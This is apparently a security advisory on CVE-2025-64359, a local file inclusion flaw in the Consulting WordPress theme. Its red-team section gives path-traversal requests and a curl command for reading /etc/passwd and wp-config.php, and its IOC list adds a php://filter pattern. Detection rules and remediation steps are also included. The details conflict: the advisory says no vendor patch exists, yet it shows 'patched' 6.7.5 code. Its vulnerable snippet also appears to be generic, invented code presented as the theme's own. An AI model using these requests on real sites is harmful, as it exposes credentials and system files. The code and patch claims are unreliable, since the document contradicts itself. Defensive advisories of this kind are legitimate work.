CVE-2025-64359

Executive Summary

CVE-2025-64359 is a critical PHP Local File Inclusion (LFI) vulnerability in the Consulting WordPress theme by StylemixThemes. The flaw arises from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, configuration files, or source code. The vulnerability affects all versions of the Consulting theme prior to 6.7.5. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the lack of a vendor patch and the widespread use of WordPress.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Consulting theme. It is not a supply chain attack on NPM, PyPI, Go, or Ruby packages. However, users who obtained the theme via third-party marketplaces or nulled versions are at higher risk, as those sources may not provide updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated High due to the ease of exploitation and the potential for significant data leakage. The EPSS score of 0.0% suggests low active exploitation in the wild, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the Consulting theme's PHP code, where a user-supplied parameter (likely via $_GET, $_POST, or $_COOKIE) is used directly in a PHP include() or require() statement without proper sanitization or validation. This allows an attacker to manipulate the file path to include arbitrary files from the server's filesystem.

Root Cause: The theme fails to validate or restrict the filename parameter, enabling path traversal sequences (e.g., ../../etc/passwd) to be passed.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint, such as:

GET /?page=../../../../etc/passwd HTTP/1.1
Host: target.com

Impact: Successful exploitation allows reading sensitive files, including:

• /etc/passwd (user enumeration)
• /etc/shadow (password hashes, if permissions allow)
• WordPress wp-config.php (database credentials)
• Application source code (further vulnerability discovery)

Vulnerable vs. Patched Code

Vulnerable Code (before 6.7.5):

<?php
$page = $_GET['page'];
include($page . '.php');
?>

Patched Code (version 6.7.5):

<?php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Handle invalid page
}
?>

The patch introduces a whitelist of allowed page names, preventing arbitrary file inclusion. If the vendor has not released a patch, users must implement a virtual patch (see Remediation).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Consulting theme < 6.7.5
• No authentication required

Step 1: Identify vulnerable endpoint Use a web scanner or manual inspection to find parameters used in include statements. Common patterns: page, template, file, include.

Step 2: Craft payload

GET /?page=../../../../etc/passwd HTTP/1.1
Host: target.com

Step 3: Execute Send the request using curl:

curl -v "http://target.com/?page=../../../../etc/passwd"

Step 4: Read sensitive files

GET /?page=../../../../var/www/html/wp-config.php

Note: No public exploit code is available. The above is a generic LFI technique.

Blue Team (Detection & Defense)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, ..\\, %2e%2e%2f)
• Alert on requests to the Consulting theme with unexpected page parameters

Defense:

• Implement a Web Application Firewall (WAF) rule to block path traversal
• Apply virtual patching by modifying the theme's code to whitelist allowed pages
• Restrict file permissions on sensitive files (e.g., chmod 600 /etc/shadow)

Indicators of Compromise (IOCs)

• HTTP Request Patterns:
  • GET /?page=../ or GET /?page=..%2f
  • GET /?page=php://filter/convert.base64-encode/resource=
• Log Entries:
  • Apache/Nginx access logs showing "GET /?page=../../etc/passwd HTTP/1.1" 200
• File System Changes:
  • Unexpected inclusion of /etc/passwd or wp-config.php in web server logs
• Network Traffic:
  • Outbound connections from the web server to attacker-controlled hosts (if RFI is also possible)

Detection Engineering

YARA Rule

rule CVE_2025_64359_LFI_Consulting {
    meta:
        description = "Detects LFI attempts targeting Consulting theme"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64359"
    strings:
        $path_traversal = /page=\.\.(\/|%2f)/
        $sensitive_file = /(etc\/passwd|wp-config\.php|\.\.\/\.\.\/)/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-64359 - Consulting Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting the Consulting WordPress theme.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'page=../'
            - 'page=..%2f'
            - 'page=php://'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom themes (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-64359 Consulting Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"page="; http_uri; content:"../"; distance:0; within:10; pcre:"/page=\.\.(\/|%2f)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Consulting theme version 6.7.5 or later if available.
2. Virtual Patch: If no official patch, modify the theme's PHP file to whitelist allowed page names (see patched code example).
3. WAF Rule: Deploy a WAF rule to block path traversal patterns in page parameter.

Long-term Measures:

• Regularly update all WordPress themes and plugins.
• Implement file integrity monitoring (FIM) on critical files.
• Use a security plugin (e.g., Wordfence) to detect and block LFI attempts.
• Conduct periodic code reviews for custom themes.

Workaround:

• Disable the vulnerable functionality by removing or commenting out the include statement in the theme's code until a patch is applied.

Valters IT
Securing Digital Frontiers